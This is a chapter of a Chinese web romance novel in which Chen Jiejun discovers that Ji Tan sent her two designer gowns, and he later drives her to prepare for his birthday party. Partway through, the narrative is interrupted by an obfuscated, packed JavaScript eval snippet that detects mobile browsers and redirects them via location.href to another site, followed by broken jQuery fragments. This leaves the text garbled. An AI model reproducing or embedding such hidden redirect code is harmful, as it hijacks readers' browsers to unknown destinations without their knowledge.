11. 礼服
作品:《考个证吧,公主大人!》 跟在一旁的孟鑫眼尖地看见请帖一角被捏出细微的皱褶,老板紧张了。他不由看了眼季潭,季潭的目光果然还在陈结君身上,再想起这些天季潭的举动,他终于明白,老板这回彻底栽了,可他到底什么时候动心的呢?
孟鑫顾不上想太多,陈结君已经开口道别,他连忙问:“您要去哪儿?我们可以送您过去。”
陈结君疑惑地看了他一眼,这人怎么突然用上尊称了。不过她没有纠结这些细节,只是笑着拒绝了他的好意:“不用了,我刚刚已经叫了车,应该很快会到。”
季潭点点头,道:“注意安全。”
说完看了眼孟鑫,后者猛地一拍脑袋:“瞧我这记性!陈小姐您稍等一下。”
他快步走到车旁,从里面拿出一袋东西递给她,“这是季总亲自为您挑选的礼服,本想让助手给您送过去的,没想到在这遇上了,便一起给您吧。”
陈结君敏锐地抓住重点:“你知道我住哪?”
孟鑫笑容一僵,连忙摆手想找借口搪塞过去。
季潭却忽然道:“他的表姐是你朋友。”
孟鑫的笑容逐渐消失,转过头用一种难以言喻的复杂目光看着自家老板,您怎么能突然自曝呢!
季潭权当没看到,他只是不想刻意瞒着她,况且也瞒不住多久。
陈结君很惊讶,她从小到大狐朋狗友一大堆,也不知孟鑫的表姐是哪个,正要问问,手机却响了,是她打的车到了,陈结君与他们道别,匆忙上了出租车。
许久没去练车,手感生疏了许多,她练了一下午才拖着疲惫的身体回到家。
从楼下打包了一份饺子,有点难吃。她随便吃了几口垫垫肚子,目光无意间落在玄关处的袋子上。这好像是季潭第二次给她送礼服,第一次是订婚那会,是担心以她现在的条件买不起礼服,会在他的生日宴上吗?
好吧,她确实买不起太贵的,只是没想到季潭这么贴心,竟然早就准备好了。她放下筷子,走到玄关处把袋子拎进来,抽出包装盒,才抽到一半,她的手就顿住了。
这盒子有点眼熟。
她扭头看向衣柜,那里还挂着那天收到的神秘裙子,裙子下方端正地摆着一模一样的礼盒。
是凑巧买了同一个牌子吗?还是那天的礼服也是他送的。
陈结君不确定,就当是吧。
她毕竟还占着“未婚妻”的名头,许是他怕自己丢人连累了他的名声。这样一想,她心里就没有负担了。
打开包装盒,里面是一条白色的绸缎连衣裙,依旧简单大方的设计,领口和裙摆都缝了一圈圆润的珍珠,她很喜欢,兴致勃勃地试穿了,尺寸刚好,订婚的礼服也是季潭送的,他知道自己的尺寸也不奇怪。
陈结君把裙子换下准备收进衣橱,无意间瞥见翻到裙子的内衬,发现上面绣了一串字母:lucky。
是她想的那个lucky吗?那可是国际顶尖的设计师,绣线用的颜色和裙子的内衬一样,不翻开仔细寻找根本就看不出来,的确像一些特立独行的设计师所为。
她把上次那套神秘礼服也拿了出来,翻过内衬找了好一会,终于找到了一模一样的刺绣,果真是他送来的。陈结君想,下次该好好谢谢他。
接下来几天,陈结君开始恶补之前落下的学习计划,她给自己买了一本挂历,就挂在书桌前,每完成一个学习计划就盖一个小红花,攒够七个小红花就奖励自己喝一杯奶茶,这个方法很见效,每天枯燥的学习也让人能接受了。
说来神奇,她病好之后好像长脑子了。
平时觉得像天书一样的文字,现在的她只需要读一遍就能大致理解,再读上一遍就能融会贯通了。这让她在学习上如有神助,一切都顺利了许多,她觉得神奇,还特意问了系统是不是给她增加金手指了,系统否认了。
陈结君想,或许是她前阵子学太狠,就像武者被逼到绝境忽然打通任督二脉一样,她学到窒息的时候头痒长出了脑子也不奇怪,她本来就聪明嘛!
这天午后,季潭的电话打来时,陈结君睡得正香,迷迷糊糊听见手机铃声在响,她烦躁地翻了个身,把被子蒙在头上呼呼大睡。打电话的人却不愿意放过她,铃声一阵接一阵地响,陈大小姐的起床气终是憋不住了,“嘭”地坐起身,也不管对方是谁,拿起手机开口就骂:“你最好是有大事!大清早的扰人清梦要遭天谴的知道吗?!”
在老板铩羽而归数次后肩负重任打来第一通电话都孟鑫:“……很抱歉,打扰您休息了。您先别挂!我是孟鑫……对,就是季潭季总的助理,是这样的,现在已经下午五点了,季总让我接您去做造型,您看您方便吗?”
孟鑫一口气把话说完,回头忐忑地看了眼季潭的脸色,通话被他特意设置了外扩,好让季潭也能听见陈结君的话。
陈结君迷糊的脑子逐渐清醒,才想起今天的确是季潭的生日,这会也不是大清早,已经快傍晚了。
隔了好一会没听见她的声音,以为她又睡回去了,季潭喊了句:“陈结君,你在吗?”
季潭此人向来冷淡,说话的语气也好似盛夏浸在冰水里的薄荷,让她感到一股冷意,脑子跟着清醒不少。一想到还要做头发和化妆,陈结君的起床气就像一颗圆鼓鼓的气球被针戳破,跐溜一下漏了气。
“在,我会尽快出发。”
她清亮的嗓音在车内响起,听起来精神百倍的模样,季潭不自觉勾唇,轻声道:“不用着急,我过去接你。”
半个小时后,季潭出现在她家门口。
陈结君没想到她会亲自过来,开门见到他时愣了一下,季潭就趁着这个空档飞快地瞄了眼屋里,正在愣神的陈结君却好像被触动了某个按钮的机器,飞速挡住他的视线。
季潭忍不住逗她:“不请我进去坐会?该不会藏了人吧?”
“当然不是!那个,时间快来不及了,我们还是赶快出发吧。”陈结君把他往门边一推,飞快关门,拉着他往电梯走去。
她这么紧张,倒让季潭眉心一跳,侧目看她:“真藏了?男的女的?”
“不是!”陈结君因为模样长得好,从小到大什么样的男人没见过,其中最让人讨厌的就是胡乱猜测她的男人,哪怕这个人是季潭,也让她感觉到冒犯,“季总,我们还没有熟到能开这种玩笑的地步吧?”
季潭脚步一顿,低头看她,陈结君的个子只到他的肩膀处,从他的角度看去,正好能看见她小半张脸,再往下是白皙细长的脖颈……
触电一般,他飞快挪开目光,微颤的睫毛像只仓皇失措的蝶。
“对不起,是我冒犯了。”
陈结君也只是一时发泄,说完才想起对方可是能翻云覆雨的季潭,是她背靠陈家也不敢轻易得罪的人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181181|180977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她正想打个哈哈混过去,却没想到他居然会道歉。
“没关系,”她笑道,“是我一时失言,您别放在心上。”
季潭看了眼她手里拎着的礼服袋子,伸手要把袋子接过去,陈结君往后一缩,笑着说:“不用麻烦,我自己拿就行。”
“我来拿吧。”季潭没有收回手,也没逼近她去抢被她藏在身后的袋子,只是静静看着她。
陈结君本来就讨厌拎东西,以前出门总要带个人给她拎着大包小包,这会见季潭坚持,她也不想这样僵着,便顺水推舟,把袋子递给他,“那,麻烦你了,谢谢。”
季潭接过袋子,两人一前一后进了电梯。
电梯里就他们两个,季潭盯着她看了好一会,忽然说:“不要同我客气。”
陈结君道谢后早把这事翻篇了,突然听他冒出这句话,发散的思绪回笼,愣了一下才反应过来,条件反射想道谢,却见他眼底的认真,心想他可能真的不喜欢道谢,于是笑了笑,算是结束了这个话题。
两人都没开口,电梯安静得让陈结君觉得尴尬,便开口找话题,在经过“今天天气真好”、“你早饭吃点什么”、“你这套西服真好看”等等冷场话题的带动下,气氛更加尴尬了。
陈结君默默闭上嘴。她果然不是社交的料,下回得向张尔尔讨教一下才行。
季潭今天居然亲自开车,陈结君坐在副驾驶,时不时扭头看他。有句话怎么说来着,她一直觉得开车的男人有一股难以言喻的魅力,特别是手好看,脸也好看的帅哥开车,那张俊美的脸配上专注的眼神,拉到手肘处的白衬衫和修长的手指,简直是一场视觉盛宴。
“好看吗?”
“好看!”她看得入迷,听见有人问就下意识回答了,反应过来后恨不得封上自己的嘴。
big胆!她居然调戏了季潭!
虽然不是故意的……
工作狂应该不喜欢被人调戏吧,何况是个威名赫赫的总裁……她扭头看了眼季潭的神色,解释道:“我我不是那个意思,就是说溜嘴了……”
“没关系。”季潭侧目看了她一眼,忍不住勾起嘴角,“你怎么这么紧张,以前对我说教的劲头去哪了?”
陈结君一愣,说教?她居然还对季潭说教过!
什么时候?!
季潭敏锐地察觉到她愣神,嘴角慢慢落回原地,淡声道:“你忘了。”
是肯定句。陈结君正在头脑风暴,她很确定季潭强势归国后,她绝对没有对他说教过,倒不是她脾气好,而是他们每次见面前,她妈妈都得对她耳提面命,绝不能对季潭出言不逊。所以,假设她真对他说教过,那一定是在学生时期。
说实话,她以前教训过不少人,哪还记得里面有没有季潭!
季潭作为她的同学,在她的记忆里只有两个点:长得超帅和成绩超好,除此之外他们似乎没有什么交集,非要说的话,在校园里就是点头之交吧,她实在想不起有得罪过季潭,想不起来的事她坚决不承认!
她呵呵笑道:“我怎么可能对你说教,季总真爱开玩笑。”
季潭不知在想什么,没有和她继续说下去的意思,两人又陷入沉默,这次陈结君已经没有尴尬的感觉了。
或许这就是一回生二回熟吧。她一只手扒在窗沿,看着外面飞速闪过的高楼大厦,觉得自己的心脏又强大不少。